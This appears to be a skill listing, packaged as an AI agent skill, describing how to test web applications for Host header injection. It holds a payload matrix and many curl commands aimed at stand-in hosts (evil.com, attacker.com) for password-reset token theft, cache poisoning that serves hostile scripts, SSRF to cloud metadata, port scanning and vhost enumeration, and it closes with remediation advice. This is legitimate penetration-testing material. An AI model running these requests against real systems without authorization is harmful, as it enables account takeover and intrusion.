testing-for-host-header-injection

Test web applications for HTTP Host header injection vulnerabilities to identify password reset poisoning, web cache poisoning, SSRF, and virtual host routing manipulation risks.

Zur Installation springen

Repository: xalgord/xalgorix
Letzte Quellaktivität: 6. Juni 2026 um 16:41
Erkannte Sprache von SKILL.md: Englisch
Sterne: 813
Forks: 146

Installationsoptionen

Standardmäßig ist der Prompt ausgewählt, der zuerst die Quelle prüft. Sie können zu einem direkten Befehl wechseln oder eine lokale Kopie herunterladen.

Quelldateien prüfen

Lesen Sie SKILL.md und alle von SkillsMP angezeigten Begleitdateien, bevor Sie sich für eine Installation entscheiden.

Zurück zur Suche Zurück zur Installation

name	testing-for-host-header-injection
description	Test web applications for HTTP Host header injection vulnerabilities to identify password reset poisoning, web cache poisoning, SSRF, and virtual host routing manipulation risks.
domain	cybersecurity
subdomain	web-application-security
tags	["host-header-injection","password-reset-poisoning","cache-poisoning","virtual-host","web-security","header-manipulation","ssrf"]
version	1.0
author	mahipal
license	Apache-2.0
nist_csf	["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"]

Testing for Host Header Injection

When to Use

When testing password reset functionality for token theft via host manipulation
During assessment of web caching behavior influenced by Host header values
When testing virtual host routing and server-side request processing
During penetration testing of applications behind reverse proxies or load balancers
When evaluating SSRF potential through Host header manipulation

Critical: Payload Matrix and Bypasses (checklist-derived)

Headers to try (one per request, then in combination)

Host: attacker.com
X-Forwarded-Host: attacker.com
X-Forwarded-Server: attacker.com
X-Host: attacker.com
X-Forwarded-For: attacker.com
Forwarded: host=attacker.com

Injection techniques

# Duplicate Host headers (front-end reads first, back-end reads second or vice-versa)
Host: target.com
Host: attacker.com

# Absolute-URL request line (request line host vs Host header mismatch)
GET https://target.com/ HTTP/1.1
Host: attacker.com

# Host with port / userinfo confusion
Host: target.com:@attacker.com
Host: target.com:80@attacker.com
Host: attacker.com:80

# CRLF dual host / header injection
Host: target.com%0d%0aHost: attacker.com

# Line wrapping (leading space/tab continuation — some parsers fold it)
Host: target.com
 Host: attacker.com

Impacts to chain toward

Password-reset poisoning: trigger reset with a poisoned Host/X-Forwarded-Host; the reset email link is built from the header and points to the attacker, leaking the token when the victim clicks.
Web-cache poisoning: if the cache key excludes Host but the response reflects it (e.g., <script src="//attacker.com/app.js">), the poisoned response is served to all users — stored XSS at scale.
Routing-based SSRF: the front-end proxies to the host in the header, letting you reach internal hosts (Host: 169.254.169.254, Host: 127.0.0.1:8080) or internal vhosts.
Secondary-context / access-control bypass: route to unprotected backend vhosts (Host: admin.internal, Host: localhost) the front-end normally guards.

Confirmation

The injected host is reflected in the response body, in absolute links/<script>/<link> src/href, or in a Location redirect.

# Supply arbitrary Host header
curl -H "Host: evil.com" http://target.com/ -v
# Check if application reflects evil.com in response

# Double Host header
curl -H "Host: target.com" -H "Host: evil.com" http://target.com/ -v

# Host header with port injection
curl -H "Host: target.com:evil.com" http://target.com/ -v
curl -H "Host: target.com:@evil.com" http://target.com/ -v

# Absolute URL with different Host
curl --request-target "http://target.com/" -H "Host: evil.com" http://target.com/ -v

# Check for different virtual host access
curl -H "Host: admin.target.com" http://target.com/ -v
curl -H "Host: internal.target.com" http://target.com/ -v
curl -H "Host: localhost" http://target.com/ -v

# Trigger password reset with modified Host header
# The reset link may use the Host header value in the URL
curl -X POST http://target.com/forgot-password \
  -H "Host: evil.com" \
  -d "email=victim@target.com"
# If reset email contains: http://evil.com/reset?token=xxx
# Attacker receives the token when victim clicks the link

# Try X-Forwarded-Host for password reset poisoning
curl -X POST http://target.com/forgot-password \
  -H "X-Forwarded-Host: evil.com" \
  -d "email=victim@target.com"

# Port-based injection in reset URL
curl -X POST http://target.com/forgot-password \
  -H "Host: target.com:80@evil.com" \
  -d "email=victim@target.com"

# Test with various forwarding headers
for header in "X-Forwarded-Host" "X-Host" "X-Original-URL" "X-Rewrite-URL" "X-Forwarded-Server" "Forwarded"; do
  curl -X POST http://target.com/forgot-password \
    -H "$header: evil.com" \
    -d "email=victim@target.com"
  echo "Tested: $header"
done

# If caching layer uses URL (without Host) as cache key:
# Poison cache with modified Host header
curl -H "Host: evil.com" http://target.com/ -v
# If response is cached and contains evil.com links
# All subsequent users receive poisoned content

# Test with X-Forwarded-Host for cache poisoning
curl -H "X-Forwarded-Host: evil.com" http://target.com/login -v
# Check X-Cache header to see if response was cached

# Verify cache poisoning
curl http://target.com/login -v
# If response still contains evil.com, cache is poisoned

# Poison JavaScript URLs in cached pages
curl -H "X-Forwarded-Host: evil.com" http://target.com/
# If page loads: <script src="//evil.com/static/app.js">
# Attacker serves malicious JavaScript to all users

# Backend may use Host header to make internal requests
curl -H "Host: internal-api.target.local" http://target.com/api/proxy

# Access cloud metadata via Host header
curl -H "Host: 169.254.169.254" http://target.com/

# Internal port scanning
for port in 80 443 8080 8443 3000 5000 9200; do
  curl -H "Host: 127.0.0.1:$port" http://target.com/ -o /dev/null -w "%{http_code}" -s
  echo " - Port $port"
done

# SSRF via absolute URL
curl --request-target "http://internal-server/" -H "Host: internal-server" http://target.com/

# Enumerate virtual hosts
for vhost in admin staging dev test api internal backend; do
  status=$(curl -H "Host: $vhost.target.com" http://target.com/ -o /dev/null -w "%{http_code}" -s)
  size=$(curl -H "Host: $vhost.target.com" http://target.com/ -o /dev/null -w "%{size_download}" -s)
  echo "$vhost.target.com - Status: $status, Size: $size"
done

# Check default virtual host behavior
curl -H "Host: nonexistent.target.com" http://target.com/ -v
# Compare with legitimate host response

# Access internal admin panels via virtual host
curl -H "Host: admin" http://target.com/
curl -H "Host: management.internal" http://target.com/

# HTTP/1.1 connection reuse attack
# Send legitimate first request, then inject Host header on subsequent request
# Use Burp Repeater with "Update Content-Length" and manual Connection: keep-alive

# In Burp Repeater, send grouped request:
# Request 1 (legitimate):
# GET / HTTP/1.1
# Host: target.com
# Connection: keep-alive
#
# Request 2 (injected):
# GET /admin HTTP/1.1
# Host: internal.target.com

# Test with HTTP Request Smuggling combined
# If front-end validates Host but back-end doesn't:
# Smuggle request with modified Host header

Concept	Description
Host Header	HTTP header specifying the target virtual host for the request
Password Reset Poisoning	Injecting Host to make reset emails contain attacker-controlled URLs
Cache Poisoning via Host	Poisoning CDN cache with responses containing attacker-controlled host
Virtual Host Routing	Web server using Host header to route requests to different applications
X-Forwarded-Host	Alternative header used by proxies that may override Host header
Connection State Attack	Exploiting persistent connections to send requests with different Host values
Server-Side Host Resolution	Backend code using Host header for URL generation and redirects

Tool	Purpose
Burp Suite	HTTP proxy for Host header manipulation and analysis
Burp Collaborator	Out-of-band detection for Host header SSRF
ffuf	Virtual host brute-forcing with custom Host headers
gobuster vhost	Virtual host enumeration mode
Nuclei	Template-based scanning for Host header injection
param-miner	Burp extension for discovering unkeyed Host-related headers

## Host Header Injection Report
- **Target**: http://target.com
- **Reverse Proxy**: Nginx
- **Backend**: Apache/PHP

### Findings
| # | Technique | Header | Impact | Severity |
|---|-----------|--------|--------|----------|
| 1 | Password Reset Poisoning | Host: evil.com | Token theft | Critical |
| 2 | Cache Poisoning | X-Forwarded-Host: evil.com | Stored XSS | High |
| 3 | Virtual Host Access | Host: admin.target.com | Admin panel exposure | High |
| 4 | SSRF | Host: 169.254.169.254 | Metadata access | Critical |

### Remediation
- Validate Host header against a whitelist of expected values
- Do not use Host header for generating URLs in password reset emails
- Configure web server to reject requests with unrecognized Host values
- Set absolute URLs in application configuration instead of deriving from Host